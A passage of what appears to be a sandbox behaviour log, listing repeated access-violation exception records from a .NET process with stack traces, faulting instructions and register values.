exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f3f4 registers.esp: 84595876 registers.edi: 84600340 registers.eax: 0 registers.ebp: 84600348 registers.edx: 37584476 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4ad 0x80b614 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf exception.instruction_r: 39 09 e8 b0 17 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f381 registers.esp: 84600160 registers.edi: 84600224 registers.eax: 0 registers.ebp: 84600232 registers.edx: 37584476 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4ad 0x80b614 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf exception.instruction_r: 39 09 e8 3d 17 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f3f4 registers.esp: 84595764 registers.edi: 84600224 registers.eax: 0 registers.ebp: 84600232 registers.edx: 37584476 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4bb 0x80b614 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf exception.instruction_r: 39 09 e8 30 1a 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f101 registers.esp: 84600160 registers.edi: 84600224 registers.eax: 0 registers.ebp: 84600232 registers.edx: 37535088 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f4bb 0x80b614 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf exception.instruction_r: 39 09 e8 bd 19 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f174 registers.esp: 84595764 registers.edi: 84600224 registers.eax: 0 registers.ebp: 84600232 registers.edx: 37535088 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f6e5 0x80b637 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf exception.instruction_r: 39 09 e8 30 1a 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f101 registers.esp: 84600180 registers.edi: 84600244 registers.eax: 0 registers.ebp: 84600252 registers.edx: 37535088 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80f6e5 0x80b637 0x80b3ff 0x80b2d5 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x80b246 0x80b0bf mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x808660 0x808130 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x8013e4 0x800db4 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf exception.instruction_r: 39 09 e8 bd 19 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f174 registers.esp: 84595780 registers.edi: 84600244 registers.eax: 0 registers.ebp: 84600252 registers.edx: 37535088 registers.ebx: 36778644 registers.esi: 37534676 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ab 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 30 1a 98 71 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f101 registers.esp: 82571832 registers.edi: 82571896 registers.eax: 0 registers.ebp: 82571904 registers.edx: 37535088 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ab 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 bd 19 98 71 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x80f174 registers.esp: 82567436 registers.edi: 82571896 registers.eax: 0 registers.ebp: 82571904 registers.edx: 37535088 registers.ebx: 38002676 registers.esi: 37078768 registers.ecx: 0	1
__exception__ May 30, 2023, 5:11 p.m.	stacktrace: 0x80b5ce 0x80b3ff 0x5df47d7 0x5df4786 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 